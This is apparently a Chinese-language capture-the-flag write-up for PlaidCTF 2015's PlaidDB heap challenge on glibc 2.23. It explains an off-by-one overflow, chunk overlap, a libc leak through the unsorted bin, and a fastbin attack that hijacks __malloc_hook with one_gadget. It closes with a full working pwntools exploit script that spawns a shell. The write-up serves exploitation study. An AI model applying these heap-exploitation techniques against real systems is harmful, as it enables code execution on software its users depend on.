收获

  • 利用 off-by-one 漏洞造成 Chunk Overlap,通过对堆的布局利用 unsorted bin 修改已有 chunk 内容为 bk 指针,泄露 libc 地址,并利用 fast bin attack,错位伪造 chunk,劫持 __malloc_hook 为 one_gadget 来 getshell

【plaidctf 2015】PlaidDB


思路

本地环境:Glibc 2.23

查看保护,64 位保护全开:

【plaidctf 2015】plaiddb1.png

尝试运行:

【plaidctf 2015】plaiddb2.png

IDA 下分析:

【plaidctf 2015】plaiddb3.png

程序最开始会初始化三个堆,经过后面的分析可以知道,第一个堆存放的是结构体,主要使用了二叉树的结构来存储数据:

struct Node {
    char *key;
    long data_size;
    char *data;
    struct Node *left;
    struct Node *right;
    long dummy;
    long dummy1;
}

不过关于树的结构我没太看懂。。。网上说是红黑树?我只知道前三个指针,但是二叉树各节点之间的关系是怎么来的不太明白

其初始化 row_key 为 th3fl4g,初始化 data 为 youwish

【plaidctf 2015】plaiddb11.png

程序运行时 PROMPT: Enter command: 是在 sub_1A20() 函数中定义的,有 GET、PUT、DUMP、DEL、EXIT 这几种命令:

【plaidctf 2015】plaiddb4.png

GET 功能:

【plaidctf 2015】plaiddb5.png

首先通过 sub_1040() 函数读取 row_key:

【plaidctf 2015】plaiddb6.png

首先 malloc(8) 来存放 row_key ,如果空间大小不够,再 realloc()

仔细观察可以发现 sub_1040() 函数这个输入存在 off-by-null 漏洞,如果将数据写满,该函数会溢出 1 字节,并将其置为 NULL

PUT 功能:

【plaidctf 2015】plaiddb7.png

主要是输入一些数据,首先 malloc(0x38) 申请了一个堆块用于存放结构体

同样使用了 sub_1040() 函数来读取 row_key,并申请了第二个堆块,指针存放在 *v0

然后 malloc(v1) 申请了第三个堆块,读入 size 大小的数据 data

通过调试来验证一下,执行 PUT(1, 2, b'a'):

【plaidctf 2015】plaiddb9.png

【plaidctf 2015】plaiddb10.png

DEL 功能:

【plaidctf 2015】plaiddb16.png

这个函数实现的是删除功能,由于是二叉树结构,这个函数比较复杂,只需要知道是按照 row_key 来进行删除的就行,row_key 通过 sub_1040() 函数读取,依然是存在 off-by-one 漏洞的

现在根据以上分析,结合程序运行,可以大致知道该程序的功能了:

  • PUT 插入数据,包括 row_key、data_size、data
  • GET 打印 row_key 对应的 data
  • DUMP 打印所有 row_key
  • DEL 删除 row_key 对应的数据

【plaidctf 2015】plaiddb8.png

虽然输入 row_key 时存在 off-by-one 漏洞,但特殊在于,其使用了 realloc() 使分配的大小通过可用空间大小乘二的方式增大

也就是说想要触发这个漏洞,对于分配的大小有要求,满足该要求的大小有:0x18、0x38、0x78、0xf8、0x1f8 等

通过 off-by-one 漏洞溢出后,可以造成 Chunk Overlap,并泄露 libc 地址,且可以形成 UAF,对于 UAF 漏洞首选 fast bin attack 的方法

我们首先需要有一个处于释放状态的 unsorted bin chunk 或者 small bin chunk,然后在其下方还需要一个进行溢出的 chunk 和被溢出的 chunk

然后利用 off-by-one 漏洞,使它们全都被合并为一个处于释放状态的 chunk,这样中间任意 chunk 的位置如果是已被分配的,就可以造成 Chunk Overlap

大致结构如下:

+------------+
|            |  <-- free 的 unsorted bin 或是 small bin chunk (因为此时 fd 和 bk 指向合法指针,才能够进行 unlink)
+------------+
|     ...    |  <-- 任意 chunk
+------------+
|            |  <-- 进行溢出的 chunk
+------------+
|    vuln    |  <-- 被溢出的 chunk,大小为 0x_00 (例如 0x100, 0x200……)
+------------+

结合 sub_1040() 函数通过 malloc(8) 再 realloc() 的分配方式,对于堆的布局有以下要求:

  1. 任意 chunk 位置至少有一个已经被分配、且可以读出数据的 chunk 来泄露 libc 地址
  2. 任意 chunk 位置至少还需要有一个已经被释放、且 size 为 0x71 的 chunk 来进行 fast bin attack
  3. 进行溢出的 chunk 需要在最上方的 chunk 之前被分配,否则 malloc(8) 的时候会分配到最上方,而不是进行溢出 chunk 所在的下方的位置
  4. 进行溢出的 chunk 大小应该属于 unsorted bin 或是 small bin,不能为 fast bin,否则被释放之后,按照 sub_1040() 函数的分配方式,malloc(8) 无法分配在该位置
  5. 最下方应该有一个已经被分配的 chunk 来防止与 top chunk 合并

按照上述要求,完整的堆结构应该如下:

+------------------+
|      chunk 1     |  <-- free 的 size == 0x200 chunk
+------------------+
|      chunk 2     |  <-- size == 0x60 fastbin chunk,已被分配,且可以读出数据
+------------------+
|      chunk 3     |  <-- size == 0x71 fastbin chunk,为 fastbin attack 做准备
+------------------+
|      chunk 4     |  <-- size == 0x1f8 free 状态的 small bin/unsorted bin chunk
+------------------+
|      chunk 5     |  <-- size == 0x101 被溢出 chunk
+------------------+
|         X        |  <-- 任意分配后 chunk 防止 top chunk 合并
+------------------+

由于分配过程中还存在一些额外结构,包括结构体本身的分配和 sub_1040() 函数,因此需要先释放出足够的 fast bin chunk 来避免结构体本身的分配对我们布置的对结构造成影响

这里通过先执行 10 次 PUT() 和 10 次 DEL() 来实现:

【plaidctf 2015】plaiddb12.png

构造好我们需要的堆块后,分别 free 掉 chunk 3、chunk 4 和 chunk 1

DEL(b'3'):

【plaidctf 2015】plaiddb13.png

DEL(b'4'):

【plaidctf 2015】plaiddb14.png

DEL(b'1'):

【plaidctf 2015】plaiddb15.png

这样就形成了我们所需要的堆结构

然后利用 DEL() 中 sub_1040() 函数读取 row_key 时的 off-by-one 漏洞,将 chunk 4 写满,并溢出覆盖 chunk 5 的 prev_size 域:

【plaidctf 2015】plaiddb18.png

【plaidctf 2015】plaiddb17.png

这里覆盖的是 0x4e0,因为我们为了造成 Chunk Overlap,需要让这些 chunk 全部被合并为一个处于释放状态的 chunk

因此 chunk 5 的 prev_size 域需要修改为前几个 chunk 的大小之和,即:0x4e0 = 0x200 + 0x50 + 0x68 + 0x1f8 + 0x30

然后 free 掉 chunk 5,这些 chunk 将会被合并成一个 unsorted bin:

【plaidctf 2015】plaiddb19.png

由于此时还存在一个 0x360 的 small bin:

【plaidctf 2015】plaiddb20.png

为了防止干扰,需要先通过 PUT(b'0x200', 0x200, b'fillup') 将其分配掉:

【plaidctf 2015】plaiddb21.png

此时合并的 chunk 被置于 large bin:

【plaidctf 2015】plaiddb22.png

为了泄露 libc 基地址,我们可以利用 unsorted bin 的特性,打印其 bk 指针

首先,我们需要利用此时 chunk 2 与合并的 chunk 重叠的特点,利用 unsorted bin 来修改 chunk 2 的指针

因此,我们先通过 PUT(b'0x200 fillup', 0x200, b'fillup again') 从 large bin 中将之前的 chunk 1 的空间分配掉:

【plaidctf 2015】plaiddb23.png

此时 chunk 2 处于 unsorted bin 的第一个位置,其指针已被 unsorted bin 修改

【plaidctf 2015】plaiddb24.png

于是我们只需 GET(b'2') 就可以在 data_size 输出的位置输出 bk 指针:

【plaidctf 2015】plaiddb25.png

bk 指针指向 main_arena + 88 的位置,根据 main_arena 与 __malloc_hook 存在固定偏移 0x10,利用 __malloc_hook 在 libc 中的偏移即可得到 libc 基地址:

【plaidctf 2015】plaiddb26.png

由于前面我们已经释放了 chunk 1、chunk 3、chunk 4,只剩 chunk 2 和 chunk 5 可以利用了,此时 unsorted bin 距离 chunk 5 正好 0x5586e425b950 - 0x5586e425b900 = 0x50

于是填充 0x58 就可以修改 chunk 5 的 size 域和 fd,即可控制下一个 fast bin 的位置

【plaidctf 2015】plaiddb27.png

【plaidctf 2015】plaiddb28.png

然后进行 fast bin attack:

【plaidctf 2015】plaiddb29.png

劫持 __malloc_hook 为 one_gadget:

【plaidctf 2015】plaiddb30.png

这样看得更清楚:

【plaidctf 2015】plaiddb31.png

最后执行一次 DEL()

利用 sub_1040() 函数中的 malloc(8) 触发 one_gadget 即可获得 shell


脚本

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # ubuntu 16.04 Glibc 2.23

if content == 1:
    # 将本地的 Linux 程序启动为进程 io
    io = process('./datastore')

# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:  # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()

def PUT(row_key, size, data):
    io.sendlineafter('command:\n', b'PUT')
    io.sendlineafter('key:\n', row_key)
    io.sendlineafter('size:\n', str(size))
    if len(data) < size:
        data = data.ljust(size, b'\x00')
    io.sendafter('data:\n', data)

def DEL(row_key):
    io.sendlineafter('command:\n', 'DEL')
    io.sendlineafter('key:\n', row_key)

def GET(row_key):
    io.sendlineafter('command:\n', 'GET')
    io.sendlineafter('key:\n', row_key)
    io.recvuntil('[')
    num = int(io.recvuntil(b' bytes', drop=b' bytes'))
    io.recvuntil(':\n')
    return io.recv(num)



# 相关函数实现的时候用到了一些 0x38 大小的块,避免影响我们提前搞一些
for i in range(10):
    PUT(str(i).encode(), 0x38, str(i).encode())

for i in range(10):
    DEL(str(i).encode())


PUT(b'1', 0x200, b'1')   # 设置的大一些,后面分配的时候会优先将其分配出去,但分配的过大就不会物理相连了,实测绕不开后面的问题
PUT(b'2', 0x50, b'2')    # 用来都 libc 的已分配块,表面上未分配,大小符合 fast bin 即可,暂未验证
PUT(b'3', 0x68, b'3')    # 用来进行 fast bin attack 的块,大小应该符合 fast bin 即可,暂未验证
PUT(b'4', 0x1f8, b'4')   # 用来溢出的块,溢出到下一个块的 pre_size 把他修改成上面全部块大小的和
PUT(b'5', 0xf0, b'5')    # 用来被溢出的块
PUT(b'defense', 0x400, b'defense-top chunk')   # 用来防止被 top chunk 合并

DEL(b'3')
DEL(b'4')
DEL(b'1')

DEL(b'a' * 0x1f0 + p64(0x4e0))   # 溢出,0x4e0 = 0x200 + 0x50 + 0x68 + 0x1f8 + 0x30 (这是没有被使用的指针部分大小,三个)

DEL(b'5')   # 合并 1 2 5 3 4 块

PUT(b'0x200', 0x200, b'fillup')   # 这里是在 defense 块分配后导致清理碎片清理,多出来一个 0x360 的 small bin 要先把他分配掉
PUT(b'0x200 fillup', 0x200, b'fillup again')   # 把 1 分配掉,这样 2 就是第一个块了,可以打印相关地址,泄漏 libc 基地址

libc_leak = u64(GET('2')[:6].ljust(8, b'\x00'))
log.success('libc_leak: ' + hex(libc_leak))
__malloc_hook_addr = libc_leak - 88 - 0x10
libc_base = __malloc_hook_addr - libc.symbols['__malloc_hook']
log.success('libc_base: ' + hex(libc_base))

# 这些块物理相连,a*58 之后正好是 5 块的 size 和 fd,修改即可控制下一个 fast bin 的位置
# -0x10 是为了留出指针空间,-3 是为了把指针所指的 __malloc_hook 处的 7f 地址提前,当成 pre_size 相关内容,否则 fake_fast bin 格式不符合要求
# debug()
PUT(b'fastatk', 0x100, b'a' * 0x58 + p64(0x71) + p64(__malloc_hook_addr - 0x10 + 5 - 8))
PUT(b'prepare', 0x68, b'prepare data')

one_gadget = libc_base + 0x4527a   # 0x45226 0x4527a 0xf03a4 0xf1247
PUT(b'attack', 0x68, b'a' * 3 + p64(one_gadget))

io.sendline(b'DEL') # malloc(8) 出发 one_gadget

io.interactive()

结果

【plaidctf 2015】plaiddb32.png